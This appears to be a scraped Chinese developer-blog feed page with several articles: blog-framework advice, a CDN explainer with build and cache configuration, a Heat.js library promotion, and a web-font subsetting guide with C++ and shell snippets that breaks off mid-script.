
  • 熟悉Node.js → Hexo(新手)/ Astro(追求现代化)

  • React开发者 → Gatsby(重型)/ Astro(轻量)/ Next.js(全栈)

  • Vue开发者 → VuePress(博客+文档)/ Gridsome

  • 技术栈不限 → Hugo(性能第一)/ Jekyll(求稳)


如果你和我一样是Node.js开发者,Hexo真的顺手。装个npm包,改改配置,半小时搞定。


问题2:你的项目规模是多大?



  • <100文章 → 随便选,性能差异你感受不出来

  • 100-1000文章 → Hugo(快)/ Hexo(够用)/ Astro(现代)

  • 1000+文章或大型文档站 → Hugo(一骑绝尘,没得比)


我现在500多篇文章,用的Hexo,45秒构建完成,完全够用。如果文章继续增长到1000+,可能会换Hugo。


问题3:你的经验水平如何?



  • 新手 → Hexo(中文资源多)/ Jekyll(文档友好)

  • 前端开发者 → Astro(现代化体验)/ VuePress(Vue技术栈)

  • 性能极客 → Hugo(速度无敌,值得学Go模板)

  • 求稳用户 → Jekyll(GitHub原生支持,最省心)


典型场景具体推荐


个人技术博客



  • 中文用户:Hexo(生态强,主题多)

  • 国际化:Hugo(性能好,英文资源丰富)

  • 追求现代化:Astro(体验好,性能也不错)


技术文档站点



  • Docusaurus(Facebook出品,专为文档设计)

  • VuePress(Vue生态,中文支持好)


大型内容站点



  • Hugo(1000+页面,只有它能扛住)


现代化项目网站



  • Astro(灵活性+性能的最佳平衡)

  • Next.js(需要动态功能时选它)


我的真实建议


说实话,别再纠结了。我见过太多人花三个月研究框架,一篇文章没写。框架真的只是工具,内容才是核心。


选择建议



  • 90%的人:选Hexo或Hugo,够用了

  • 前端开发者:Astro值得尝试,体验很现代

  • 新手怕选错:Hexo,中文教程多到看不完,遇到问题都能搜到答案

  • 性能焦虑症患者:闭眼选Hugo,速度真的无敌


记住:框架可以迁移(内容都是Markdown,搬家成本不高),但荒废的时间回不来。先选一个动起来,边用边优化,这才是正道。


避坑指南与最佳实践


最后说说那些大坑,我替你踩过了。


5个常见错误


错误1:过度追求完美框架,迟迟不开始


这个坑我踩得最深。当年对比了两个月框架,看了几十篇文章,结果还是不确定。后来一个前辈跟我说:"先选一个动起来,框架不满意可以换,但浪费的时间回不来。"


说白了,内容才是博客的核心,框架只是工具。没有完美的框架,只有最适合当下的选择。


错误2:只看主题外观,忽略框架本质


看到某个Hugo主题特别炫酷,就选了Hugo。结果发现Go模板语法学不会,自定义主题难如登天。最后用了半年,还是换回Hexo。


主题可以定制、可以换,但框架的性能、生态、维护性,这些本质特性才是长期影响你的因素。


错误3:新手直接上Gatsby/Next.js被劝退


我一朋友,刚学前端,听说Gatsby牛逼,直接上手。结果GraphQL不会、React不熟、配置看不懂,折腾两周直接放弃了。


老实说,Gatsby和Next.js真的不适合新手。它们是给有经验的开发者准备的工具。新手想快速上线博客,Hexo或Jekyll才是正确选择。


错误4:忽略长期维护成本


选了个冷门框架,一开始挺好,半年后作者不更新了。依赖库升级,博客跑不起来。迁移框架,痛苦得要死。


看框架选择的三个指标



  • GitHub更新频率(至少每月有commit)

  • 社区规模(遇到问题能找到人问)

  • 中文资源(新手必看,能省80%时间)


错误5:花80%时间折腾框架,20%写内容


我见过太多人,陷入"完美主义陷阱"。CSS改来改去、插件装了卸卸了装,就是不写文章。


记住80/20法则:80%精力写内容,20%折腾框架。够用就好,别追求极致完美。


框架迁移建议


万一真选错了,想换框架怎么办?


其实没那么可怕。所有静态博客框架,内容都是Markdown,迁移成本不高。我从Hexo迁移到Hugo,内容迁移只花了1小时。主要是配置和主题要重新搞,但也就半天时间。


迁移原则



  • 先有后优:快速上线 > 完美配置

  • 内容优先:写够50篇文章再考虑迁移,不然没必要

  • 不影响SEO:做好301重定向,URL结构尽量保持一致


2025年趋势展望


根据2024-2025的数据和社区动向,我预测:



  • Astro会继续增长:岛屿架构是未来趋势,零JavaScript默认太香了

  • Hugo保持性能王者地位:大型站点没得选

  • Hexo中文生态持续稳定:中文博客的首选不会变

  • 传统框架逐步被取代:Jekyll虽然稳定,但新项目会越来越少


但说实话,趋势只是参考。选框架还是要看自己的需求和技术栈。


结论


回到最开始的问题:2025年博客框架该怎么选?


一句话总结



  • 新手首选:Hexo(中文资源丰富,主题多,上手快)

  • 前端开发者:Astro(性能+灵活性的最佳平衡,现代化体验)

  • 性能极客:Hugo(速度无敌,适合大型站点)

  • 文档站点:Docusaurus/VuePress(专为文档设计)

  • 求稳:Jekyll(GitHub原生支持,最省心)


但老实讲,选择框架只需要5分钟,写好内容需要一辈子


别再纠结了。选一个顺手的,开始行动吧。写第一篇文章,比研究框架重要一百倍。


我当初纠结了两个月,现在回头看,那段时间完全是浪费。早点开始写,现在可能已经有200篇文章了。


行动建议



  1. 根据上面的决策矩阵,花5分钟选一个框架

  2. 找个主题,1小时搭好环境

  3. 写第一篇文章,哪怕只有500字

  4. 发布上线,享受成就感


记住:框架不重要,内容才重要。够用就好,专注写作。


评论区说说你的选择和理由?我很好奇大家最后都选了什么。如果有问题,我会尽量回复的。



本文首发自个人博客



作者:技术更好说
来源:juejin.cn/post/7578714735307849754
收起阅读 »

面试官:CDN是怎么加速网站访问的?

web
做前端项目的时候,经常听到"静态资源要放CDN"这种说法: CDN到底是什么,为什么能加速? 用户访问CDN的时候发生了什么? 前端项目怎么配置CDN? 先说结论 CDN(Content Delivery Network)的核心原理:把内容缓存到离用户最近...
继续阅读 »

做前端项目的时候,经常听到"静态资源要放CDN"这种说法:



  • CDN到底是什么,为什么能加速?

  • 用户访问CDN的时候发生了什么?

  • 前端项目怎么配置CDN?


先说结论


CDN(Content Delivery Network)的核心原理:把内容缓存到离用户最近的服务器上


没有CDN时,北京用户访问美国服务器,数据要跨越太平洋。有了CDN,数据从北京的CDN节点返回,快得多。


flowchart LR
subgraph 没有CDN
U1[北京用户] -->|跨越太平洋| S1[美国服务器]
end

subgraph 有CDN
U2[北京用户] -->|就近访问| C2[北京CDN节点]
C2 -.->|首次回源| S2[美国服务器]
end

CDN的工作流程


当用户访问一个CDN加速的资源时,会经过这几步:


1. DNS解析


用户访问 cdn.example.com,DNS会返回离用户最近的CDN节点IP。


# 在北京查询
$ dig cdn.example.com
;; ANSWER SECTION:
cdn.example.com. 60 IN A 101.37.27.xxx # 北京节点

# 在上海查询
$ dig cdn.example.com
;; ANSWER SECTION:
cdn.example.com. 60 IN A 47.100.99.xxx # 上海节点

同一个域名,不同地区解析出不同IP,这就是CDN的智能调度。


2. 缓存判断


请求到达CDN节点后,节点检查本地是否有缓存:



  • 缓存命中:直接返回,速度最快

  • 缓存未命中:向源服务器获取,然后缓存起来


flowchart TD
A[用户请求] --> B[CDN边缘节点]
B --> C{本地有缓存?}
C -->|有| D[直接返回]
C -->|没有| E[回源获取]
E --> F[源服务器]
F --> G[返回内容]
G --> H[缓存到边缘节点]
H --> D

classDef hit fill:#d4edda,stroke:#28a745,color:#155724
classDef miss fill:#fff3cd,stroke:#ffc107,color:#856404
class D hit
class E,F,G,H miss

3. 缓存策略


CDN根据HTTP头决定怎么缓存:


# 典型的静态资源响应头
Cache-Control: public, max-age=31536000
ETag: "abc123"
Last-Modified: Wed, 21 Oct 2024 07:28:00 GMT


  • max-age=31536000:缓存1年

  • public:允许CDN缓存

  • ETag:文件指纹,用于验证缓存是否过期


为什么CDN能加速


1. 物理距离更近


光在光纤中的传播速度约为 20 万公里/秒。北京到美国往返 2 万公里,光传输就要 100ms。


CDN把内容放到离用户近的地方,这个延迟几乎可以忽略。


2. 分散服务器压力


没有CDN,所有请求都打到源服务器。有了CDN,只有第一次请求(缓存未命中)才需要回源。


假设一张图片被访问 100 万次:



  • 没有CDN:源服务器处理 100 万次请求

  • 有CDN:源服务器只处理几十次(各节点首次回源)


3. 边缘节点优化


CDN服务商的边缘节点通常有这些优化:



  • 自动压缩:Gzip/Brotli压缩

  • 协议优化:HTTP/2、HTTP/3

  • 连接复用:Keep-Alive连接池

  • 智能路由:选择最优网络路径


前端项目配置CDN


1. 构建配置


以Vite为例,配置静态资源的CDN地址:


// vite.config.js
export default defineConfig({
base: process.env.NODE_ENV === 'production'
? 'https://cdn.example.com/'
: '/',
build: {
rollupOptions: {
output: {
// 文件名带hash,便于长期缓存
entryFileNames: 'js/[name].[hash].js',
chunkFileNames: 'js/[name].[hash].js',
assetFileNames: 'assets/[name].[hash].[ext]'
}
}
}
})

Webpack配置类似:


// webpack.config.js
module.exports = {
output: {
publicPath: process.env.NODE_ENV === 'production'
? 'https://cdn.example.com/'
: '/',
filename: 'js/[name].[contenthash].js',
}
}

2. 上传到CDN


构建完成后,把dist目录的文件上传到CDN。大多数CDN服务商都提供CLI工具或API:


# 阿里云OSS + CDN
aliyun oss cp -r ./dist oss://your-bucket/

# AWS S3 + CloudFront
aws s3 sync ./dist s3://your-bucket/

# 七牛云
qshell qupload2 --src-dir=./dist --bucket=your-bucket

3. 缓存策略配置


关键是区分两类文件:


带hash的静态资源(JS、CSS、图片):长期缓存


location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff2?)$ {
expires 1y;
add_header Cache-Control "public, immutable";
}

HTML文件:不缓存或短期缓存


location ~* \.html$ {
expires 0;
add_header Cache-Control "no-cache, must-revalidate";
}

为什么这样设计?因为HTML是入口文件,它引用的JS/CSS带有hash。更新代码时:



  1. 新的JS文件会有新的hash(app.abc123.jsapp.def456.js

  2. HTML文件引用新的JS文件

  3. 用户获取新HTML后,会加载新的JS文件

  4. 旧的JS文件在CDN上继续存在,不影响正在访问的用户


4. DNS配置


把CDN域名配置成CNAME指向CDN服务商:


# 阿里云CDN
cdn.example.com. IN CNAME cdn.example.com.w.kunlunsl.com.

# Cloudflare
cdn.example.com. IN CNAME example.com.cdn.cloudflare.net.

常见问题


跨域问题


CDN域名和主域名不同,字体文件、AJAX请求可能遇到跨域。


解决方案是在CDN配置CORS头:


# CDN服务器配置
add_header Access-Control-Allow-Origin "https://example.com";
add_header Access-Control-Allow-Methods "GET, HEAD, OPTIONS";

或者在源服务器的响应里加上CORS头,CDN会透传。


缓存更新问题


发布新版本后,用户还是看到旧内容?


方案一:文件名带hash(推荐)


前面已经提到,文件名带hash,新版本就是新文件,不存在缓存问题。


方案二:主动刷新缓存


// 调用CDN服务商的刷新API
await cdnClient.refreshObjectCaches({
ObjectPath: 'https://cdn.example.com/app.js\nhttps://cdn.example.com/app.css',
ObjectType: 'File'
});

方案三:URL加版本号


<script src="https://cdn.example.com/app.js?v=1.2.3"></script>

不太推荐,因为有些CDN会忽略查询参数。


HTTPS证书


CDN域名也需要HTTPS证书。大多数CDN服务商提供免费证书或支持上传自有证书。


配置方式:



  1. 在CDN控制台申请免费证书(通常是DV证书)

  2. 或上传自己的证书(用Let's Encrypt申请)


# 用certbot申请泛域名证书
certbot certonly --manual --preferred-challenges dns \
-d "*.example.com" -d "example.com"

回源优化


如果源服务器压力大,可以启用"回源加速"或"中间源":


用户 → 边缘节点 → 中间源 → 源服务器

中间源作为二级缓存,减少对源服务器的请求。多数CDN服务商默认开启这个功能。


CDN选型


CDN服务商优势适用场景
阿里云CDN国内节点多,生态完整国内业务为主
腾讯云CDN游戏加速好,直播支持强游戏、直播
Cloudflare全球节点,有免费套餐出海业务、个人项目
AWS CloudFront与AWS生态集成已用AWS的项目
Vercel/Netlify前端项目一站式部署JAMStack项目

个人项目推荐Cloudflare,免费套餐够用,全球节点覆盖好。


企业项目根据用户分布选择。面向国内用户,阿里云/腾讯云更合适;面向全球用户,Cloudflare或CloudFront。


验证CDN效果


浏览器开发者工具


打开Network面板,关注这几个指标:



  • TTFB(Time To First Byte):首字节时间,越小越好

  • 响应头中的缓存信息X-Cache: HIT 表示命中CDN缓存


命令行测试


# 查看响应头
curl -I https://cdn.example.com/app.js

# 输出示例
HTTP/2 200
cache-control: public, max-age=31536000
x-cache: HIT from CN-Beijing

在线工具



小结


CDN加速的核心原理:



  1. 就近访问:DNS智能解析,把用户引导到最近的节点

  2. 缓存机制:边缘节点缓存内容,减少回源

  3. 协议优化:HTTP/2、压缩、连接复用


前端配置CDN的关键:



  1. 构建时配置publicPath:指向CDN域名

  2. 文件名带hash:便于长期缓存

  3. HTML不缓存:确保用户能获取到最新入口

  4. 处理跨域:配置CORS头




如果你觉得这篇文章有帮助,欢迎关注我的 GitHub,下面是我的一些开源项目:


Claude Code Skills(按需加载,意图自动识别,不浪费 token,介绍文章):



全栈项目(适合学习现代技术栈):



  • prompt-vault - Prompt 管理器,用的都是最新的技术栈,适合用来学习了解最新的前端全栈开发范式:Next.js 15 + React 19 + tRPC 11 + Supabase 全栈示例,clone 下来配个免费 Supabase 就能跑

  • chat_edit - 双模式 AI 应用(聊天+富文本编辑),Vue 3.5 + TypeScript + Vite 5 + Quill 2.0 + IndexedDB


作者:也无风雨也雾晴
来源:juejin.cn/post/7582438310103613486
收起阅读 »

数据可视化神器Heat.js:让你的数据热起来

web
😱 我发现了一个「零依赖」的数据可视化宝藏! Hey,前端小伙伴们!今天必须给你们安利一个「让数据说话」的神器——Heat.js!这可不是一个普通的JavaScript库,而是一个能让你的数据「热」起来的魔法工具! 想象一下,当你有一堆枯燥的日期数据,想要以...
继续阅读 »

😱 我发现了一个「零依赖」的数据可视化宝藏!


Hey,前端小伙伴们!今天必须给你们安利一个「让数据说话」的神器——Heat.js!这可不是一个普通的JavaScript库,而是一个能让你的数据「热」起来的魔法工具!


image.png


想象一下,当你有一堆枯燥的日期数据,想要以直观、炫酷的方式展示出来时,Heat.js就像一个魔法师,「唰」的一下就能把它们变成色彩斑斓的热图、清晰明了的图表,甚至还有详细的统计分析!


🤩 这个库到底有什么「超能力」?


1. 「零依赖」轻量级选手,绝不拖你后腿 🦵


在这个「依赖地狱」的时代,Heat.js简直就是一股清流!它零依赖,体积小得惊人,加载速度快得飞起!再也不用担心引入一个库就拖慢整个页面加载速度了~


2. 「四种视图」任你选,总有一款适合你 🔄


Heat.js提供了四种不同的视图模式:



  • Map视图:就像GitHub贡献图一样炫酷,用颜色深浅展示日期活跃度

  • Chart视图:把数据变成专业的图表,让趋势一目了然

  • Days视图:专注于展示每一天的详细数据

  • Statistics视图:直接给你算出各种统计数据,懒人福音!


想换个姿势看数据?只需轻轻一点,瞬间切换~


3. 「51种语言」支持,真正的「世界公民」🌍


担心你的国际用户看不懂?不存在的!Heat.js支持51种语言,从中文、英文到阿拉伯语、冰岛语,应有尽有!你的应用可以轻松走向全球,再也不用为语言本地化发愁了~


4. 「数据导入导出」无所不能,数据来去自由 📤📥


想导出数据做进一步分析?没问题!Heat.js支持导出为CSV、JSON、XML、TXT、HTML、MD和TSV等多种格式,任你选择!


想导入已有数据快速生成热图?同样简单!支持从JSON、TXT、CSV和TSV导入,甚至还支持拖拽上传,简直不要太方便!


5. 「12种主题」随意切换,颜值与实用并存 💅


担心热图不好看?Heat.js提供了12种精心设计的主题,包括暗黑模式和明亮模式,让你的数据可视化既专业又美观!无论你的网站是什么风格,都能找到匹配的主题~


💡 这个神奇的库可以用来做什么?


1. 「活动追踪」,让你的用户活跃起来 📊


想展示用户的登录活跃度?想用热图展示文章的发布频率?Heat.js帮你轻松实现!就像GitHub的贡献图一样,让你的用户看到自己的「努力成果」,成就感满满!


2. 「数据分析」,让你的决策更明智 🧠


通过Heat.js的Statistics视图,你可以快速获取数据的各种统计信息,比如最活跃的月份、平均活动频率等。这些数据可以帮助你做出更明智的产品决策,优化用户体验!


3. 「趋势展示」,让你的报告更有说服力 📈


想在报告中展示某个指标的变化趋势?Heat.js的Chart视图可以将枯燥的数据变成直观的图表,让你的报告更有说服力,老板看了都说好!


🛠️ 如何用最简单的方式用上这个神器?


第一步:「把宝贝抱回家」📦


npm install jheat.js

或者直接使用CDN:


<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/williamtroup/Heat.js@4.5.1/dist/heat.js.min.css">
<script src="https://cdn.jsdelivr.net/gh/williamtroup/Heat.js@4.5.1/dist/heat.min.js"></script>

第二步:「给它找个家」🏠


<div id="heat-map" data-heat-js="{ 'views': { 'map': { 'showDayNames': true } } }">
<!-- 这里将显示你的热图 -->
</div>

第三步:「喂它数据」🍽️


// 添加日期数据
let newDateObject = new Date();
$heat.addDate("heat-map", newDateObject, "Trend Type 1", true);

// 移除日期数据(如果需要)
// $heat.removeDate("heat-map", newDateObject, "Trend Type 1", true);

三步搞定!就是这么简单!


🎯 为什么Heat.js值得你拥有?


1. 「简单易用」,小白也能轻松上手 👶


Heat.js的API设计非常友好,文档也很详细,即使是JavaScript初学者也能快速上手。几个简单的步骤,就能实现专业级的数据可视化效果!


2. 「高度定制」,满足你的各种需求 ⚙️


无论是颜色、样式,还是功能配置,Heat.js都提供了丰富的选项。你可以根据自己的需求,定制出独一无二的数据可视化效果!


3. 「响应式设计」,在任何设备上都完美展示 📱💻


Heat.js完全支持响应式设计,无论是在手机、平板还是电脑上,都能完美展示。你的数据可视化效果将在任何设备上都一样出色!


4. 「TypeScript支持」,框架党福利 🎉


如果你使用React、Angular等现代前端框架,Heat.js的TypeScript支持会让你用得更爽!类型定义清晰,代码提示完善,开发体验一流!


🚀 最后想说的话...


在这个「数据为王」的时代,如何让数据更直观、更有说服力,是每个开发者都需要面对的挑战。而Heat.js,就是帮助你征服这个挑战的绝佳工具!


它轻量级、零依赖、功能强大、易于使用,无论是个人项目还是企业应用,都能轻松胜任。最重要的是,它让数据可视化不再是一件复杂的事情,而是一种乐趣!


所以,还等什么呢?赶紧去GitHub上给Heat.js点个Star⭐,然后在你的项目中用起来吧!相信我,它一定会给你带来惊喜!


✨ 祝大家的数据可视化之路一帆风顺,让我们一起用Heat.js让数据「热」起来!✨


作者:Yanni4Night
来源:juejin.cn/post/7578161740467421235
收起阅读 »

解决网页前端中文字体包过大的几种方案

web
最近想给我的博客的网页换个字体,在修复了历史遗留的一些bug之后,去google fonts上找了自己喜欢的字体,本地测试和自己的设备发现没问题后,便以为OK了。但是当我接朋友的设备打开时,发现网页依然是默认字体。这时候我才发现,我的设备能够翻墙,所以能够使用...
继续阅读 »

最近想给我的博客的网页换个字体,在修复了历史遗留的一些bug之后,去google fonts上找了自己喜欢的字体,本地测试和自己的设备发现没问题后,便以为OK了。

但是当我接朋友的设备打开时,发现网页依然是默认字体。这时候我才发现,我的设备能够翻墙,所以能够使用Google CDN服务,但是对于我的其他读者们,在大陆内是访问不了Google的,便也无法渲染字体了。

于是为了解决这个问题,我尝试了各种办法比如格式压缩,子集化(Subset),分包等等,最后考虑到本站的实际情况选用了一种比较邪门的方法,让字体压缩率达到了惊人的98.5%!于是,这篇文章就是对这个过程的总结。也希望这篇文章能够帮助到你。😊


想要自定义网站的字体,最重要的其实就是字体包的获取。大体上可以分为两种办法:在线获取网站本地部署

在线获取──利用 CDN 加速服务

CDN(Content Delivery Network) 意为内容配送网络。你可以简单理解为是一种“就近给你东西”的互联网加速服务。

传统不使用 CDN 服务的是这样的: User ←→ Server,如果相聚遥远,效果显然很差。

使用了 CDN 服务是这样的: User ←→ CDN Nodes ←→ Server,CDN 会提前把你的网站静态资源缓存到各个节点,但你需要时可以直接从最近的节点获取。

全球有多家CDN服务提供商,Google Fonts使用的CDN服务速度很快。所以如果在网络畅通的情况下,使用Google Fonts API是最简单省事的!

你可以直接在文件中导入Google fonts API:

@import url('https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&family=Merriweather:ital,opsz,wght@0,18..144,733;1,18..144,733&family=Noto+Serif+SC:wght@500&display=swap');

这样网站它便会自动向最近的Google CDN节点请求资源。

当然,这些都是建立在网络状态畅通无阻的情况下。大陆用户一般使用不了Google服务,但并不意味着无法使用CDN服务。国内的腾讯云,阿里云同样提供高效的服务,但具体的规则我并不了解,请自行阅读研究。

本地部署

既然用不了在线的,那就只能将字体包文件一并上传到服务器上了。

这种做法不需要依赖外部服务,但缺点是字体包的文件往往很大,从进入网站到彻底加载完成的时间会及其漫长!而且这种问题尤其在中日韩(CJK)字体上体现的十分明显。

以本站为例,我主要采用了三种字体:Merriweather, Inter, Noto Serif SC. 其中每种字体都包含了Bold和Regular两种格式。前面两种都属于西文字体,每种格式原始文件大小都在200kb-300kb,但是到了思源宋体这里,仅仅一种格式的字体包大小就达到了足足14M多。如果全部加载完,恐怕从进入网站到完全渲染成功,需要耽误个2分钟。所以将原始字体包文件上传是极不可取的做法!

为了解决这个问题,我在网上查阅资料,找到了三种做法。

字体格式转换(WOFF2)

WOFF2 (Web Open Font Format 2.0) 是一种专为 Web 设计的字体文件格式,旨在提供更高的压缩率和更快的加载速度,也是是目前在 Web 上部署自定义字体的推荐标准。它本质上是一种将 TTF 或 OTF 字体数据进行高度压缩后的格式,目前已经获得了所有主流浏览器的广泛支持。

我们可以找一个在线的字体格式转化网站来实现格式的转化。本文我们以NotoSerifSC-Bold.ttf为例,转换后的NotoSerifSC-Bold.woff2文件只有5.8M左右,压缩率达到了60%!

但是,这仍旧是不够的,仅两个中文字体包加起来也已经快12M,还没有算上其他字体。这对于一个网页来说依然是灾难性的。我们必须寻找另一种方法。

子集化处理(Subset)

中国人都知道,虽然中文的字符加起来有2万多个,但是我们平常交流基本只会用到3000多个,范围再大一点,6000多个字符已经可以覆盖99%的使用场景。这意味着:

我们根本不需要保留所有字符,而只需要保留常用的几千个汉字即可。

于是这就给了我们解决问题的思路了。

首先我们可以去寻找中文常用汉字字符表,这里我获取的资源是 All-Chinese-Character-Set。我们将文件下载解压后,可以在里面找到各种各样按照字频统计的官方文件。这里我们就以《通用规范汉字表》(2013年)一级字和二级字为例。我们创建一个文档char_set.txt并将一级字和二级字的内容全部复制进去。这份文档就是我们子集化的对照表。

接着我们需要下载一个字体子集化工具,这里使用的是Python中的fonttools库,它提供了许多工具(比如我们需要的pyftsubset)可以在命令行中执行子集化、字体转化字体操作。

我们安装一下这个库和对应的依赖(在这之前确保你的电脑上安装了Pythonpip,后者一般官方安装会自带)

pip install fonttools brotli zopfli

然后找到我们字体包对应的文件夹,将原来的char_set.txt复制到该文件夹内,在该文件下打开终端,然后以NotoSerifSC-Bold.ttf为例,输入以下命令:

pyftsubset NotoSerifSC-Bold.ttf --output-file=NotoSerifSC-Bold.subset.woff2 --flavor=woff2 --text-file=char_set.txt --no-hinting --with-zopfli

过一会就能看到会输出一个NotoSerifSC-Bold.subset.woff2的文件。

font-pic-1.png 我们欣喜的发现这个文件的大小竟然只有980KB。至此,我们已经已经将压缩率达到了93%!到这一步,其实直接部署也并没有十分大问题,不过从加载进去到完全渲染,可能依然需要近十秒左右,我们依然还有优化空间。

分包处理实现动态加载

这个方法是我阅读这篇文章了解到的,但是遗憾的是我并没有在自己的网站上实现,不过失败的尝试也让我去寻找其它的方法,最终找到适用本站的一种极限字体渲染的方法,比这三种的效果还要好。下面我依然简单介绍一下这个方法的原理,想更了解可以通过看到最后通过参考资料去进一步了解。

在2017年,Google Fonts团队提出切片字体,因为他们发现:绝大部分网站只需要加载CJK字体包的小部分内容即可覆盖大部分场景。基于适用频率统计,他们将字符分成多个切片,再按 Unicode 编码对剩余字符进行分类。

怎么理解呢?他其实就是把所有的字符分成许多个小集合,每个集合里面都包含一定数量的字符,在靠前的一些集合中,都是我们常用的汉字,越到后,字形越复杂,使用频率也越低。当网页需要加载字体文件时,它是以切片为单位加载的。这意味,只有当你需要用到某个片区的字符时,这个片区才会被加载。

这种方式的好处时,能够大大加快网站加载速率。我们不用每次都一次性把全部字符加载,而是按需加载。这项技术如今已经被Noto Sans字体全面采用。

但是我们需要本地部署的话,需要多费一点功夫。这里我们利用中文网字计划的在线分包网站来实现。

我们将需要的字体上传进行分包,可以观察到输出结果是一系列以哈希值命名的woff2文件。分包其实就是做切分,把每个切分后的区域都转化为一份体积极小的woff2文件。

font-pic-2.png 下载压缩包,然后可以将里面的文件夹导入你的项目,并引用文件夹下的result.css即可。理论上,当网站需要加载渲染某个字体时,它会根据css里面的规则去寻找到对应的分包再下载。每个包的体积极小,网站加载的速度应该提升的很明显。

font-pic-3.png

我的实践──将字符压缩到极限

我的方法可以理解为子集化的一种,只不过我的做法更加的极端一些──只保留文章出现的字符

根据统计结果,截止到这篇post发布,我的文章总共出现的所有字符数不到1200个(数据来源见下文),所以我们可以做的更激进一些,只需将文章出现的中文字符全部记录下来,制成一张专属于自己网站的字符表,然后在每次发布文章时动态更新,这样我们能够保证字体完整渲染,并且处于边界极限状态!

实现这个个性化字符表char_set.txt的核心是一个提取文章中文字符的算法。这部分我是通过Gemini生成了一个update_lists.cpp文件,他能够识别_posts/下面所有文章,并输出到根目录的char_set.txt中,你可以根据代码内容进行自定义的修改:

/**
* @file update_lists.cpp
* @brief Scans Markdown files in /_posts/ and updates char_set.txt in root.
* @author Gemini
* @date 2025-11-28
*/

#include
#include
#include
#include
#include
#include
namespace fs = std::filesystem;
namespace char_collector {
const std::string kRegistryFilename = "char_set.txt";
const std::string kMarkdownExt = ".md";

const uint32_t kCJKStart = 0x4E00;
const uint32_t kCJKEnd = 0x9FFF;

bool NextUtf8Char(std::string::const_iterator& it,
const std::string::const_iterator& end,
uint32_t& out_codepoint,
std::string& out_bytes)
{
if (it == end) return false;
unsigned char c1 = static_cast<unsigned char>(*it);
out_bytes.clear();
out_bytes += c1;
if (c1 < 0x80) { out_codepoint = c1; it++; return true; }
if ((c1 & 0xE0) == 0xC0) {
if (std::distance(it, end) < 2) return false;
unsigned char c2 = static_cast<unsigned char>(*(it + 1));
out_codepoint = ((c1 & 0x1F) << 6) | (c2 & 0x3F);
out_bytes += *(it + 1); it += 2; return true;
}
if ((c1 & 0xF0) == 0xE0) {
if (std::distance(it, end) < 3) return false;
unsigned char c2 = static_cast<unsigned char>(*(it + 1));
unsigned char c3 = static_cast<unsigned char>(*(it + 2));
out_codepoint = ((c1 & 0x0F) << 12) | ((c2 & 0x3F) << 6) | (c3 & 0x3F);
out_bytes += *(it + 1); out_bytes += *(it + 2); it += 3; return true;
}
if ((c1 & 0xF8) == 0xF0) {
if (std::distance(it, end) < 4) return false;
unsigned char c2 = static_cast<unsigned char>(*(it + 1));
unsigned char c3 = static_cast<unsigned char>(*(it + 2));
unsigned char c4 = static_cast<unsigned char>(*(it + 3));
out_codepoint = ((c1 & 0x07) << 18) | ((c2 & 0x3F) << 12) |
((c3 & 0x3F) << 6) | (c4 & 0x3F);
out_bytes += *(it + 1); out_bytes += *(it + 2); out_bytes += *(it + 3); it += 4; return true;
}
it++; return false;
}

bool IsChineseChar(uint32_t codepoint) {
return (codepoint >= kCJKStart && codepoint <= kCJKEnd);
}

class CharManager {
public:
CharManager() = default;

void LoadExistingChars(const std::string& filepath) {
std::ifstream infile(filepath);
if (!infile.is_open()) {

std::cout << "Info: " << filepath << " not found or empty. Starting fresh." << std::endl;
return;
}
std::string line;
while (std::getline(infile, line)) {
ProcessString(line, false);
}
std::cout << "Loaded " << existing_chars_.size()
<< " unique characters from " << filepath << "." << std::endl;
}

void ScanDirectory(const std::string& directory_path) {

if (!fs::exists(directory_path)) {
std::cerr << "Error: Directory '" << directory_path << "' does not exist." << std::endl;
return;
}

for (const auto& entry : fs::directory_iterator(directory_path)) {
if (entry.is_regular_file() &&
entry.path().extension() == kMarkdownExt) {
ProcessFile(entry.path().string());
}
}
}

void SaveNewChars(const std::string& filepath) {
if (new_chars_list_.empty()) {
std::cout << "No new Chinese characters found." << std::endl;
return;
}
std::ofstream outfile(filepath, std::ios::app);
if (!outfile.is_open()) {
std::cerr << "Error: Could not open " << filepath << " for writing." << std::endl;
return;
}
for (const auto& ch : new_chars_list_) {
outfile << ch;
}
std::cout << "Successfully added " << new_chars_list_.size()
<< " new characters to " << filepath << std::endl;
}

private:
std::unordered_set existing_chars_;
std::vector new_chars_list_;

void ProcessFile(const std::string& filepath) {
std::ifstream file(filepath);
if (!file.is_open()) return;

std::cout << "Scanning: " << fs::path(filepath).filename().string() << std::endl;
std::string content((std::istreambuf_iterator<char>(file)),
std::istreambuf_iterator<char>())
;
ProcessString(content, true);
}

void ProcessString(const std::string& content, bool track_new) {
auto it = content.begin();
auto end = content.end();
uint32_t codepoint;
std::string bytes;

while (NextUtf8Char(it, end, codepoint, bytes)) {
if (IsChineseChar(codepoint)) {
if (existing_chars_.find(bytes) == existing_chars_.end()) {
existing_chars_.insert(bytes);
if (track_new) {
new_chars_list_.push_back(bytes);
}
}
}
}
}
};

}

int main() {
char_collector::CharManager manager;
manager.LoadExistingChars(char_collector::kRegistryFilename);
manager.ScanDirectory("_posts");
manager.SaveNewChars(char_collector::kRegistryFilename);
return 0;
}

然后我们在终端编译一下再运行即可:

clang++ update_lists.cpp -o update_lists  && ./update_lists

然后我们就会发现这张独属于本站的字符表生成了!🥳 font-pic-6.png 为了方便操作,我们把原始的ttf文件放入仓库的/FontRepo/下(最后记得在.gitignore添加这个文件夹!),然后稍微修改一下之前子集化的命令就可以了:

pyftsubset /FontRepo/NotoSerifSC-Bold.ttf --output-file=/assets/fonts/noto-serif-sc/NotoSerifSC-Bold.subset.woff2 --flavor=woff2 --text-file=char_set.txt --no-hinting --with-zopfli

可以看到,最终输出的文件只有200K!压缩率达到了98.5%!

font-pic-4.png 但是这个方法就像前面说的,处于字体渲染的边界。但凡多出一个字符表中的符号,那么这个字符就无法渲染,会回退到系统字体,看起来格外别扭。所以,在每次更新文章前,我们都需要运行一下./update_lists。此外,还存在一个问题,每次更新产生新的子集化文件时,都需要把旧的子集化文件删除,防止旧文件堆积。

这些过程十分繁琐而且耗费时间,所以我们可以写一个bash脚本来实现这个过程的自动化。我这里同样是求助了Gemini,写了一个build_fonts.sh

#!/bin/bash
set -e # 遇到错误立即停止执行

# ================= 配置区域 =================
# 字体源文件目录
SRC_DIR="FontRepo"
# 字体输出目录
OUT_DIR="assets/fonts/noto-serif-sc"
# 字符列表文件
CHAR_LIST="char_set.txt"
# C++ 更新工具
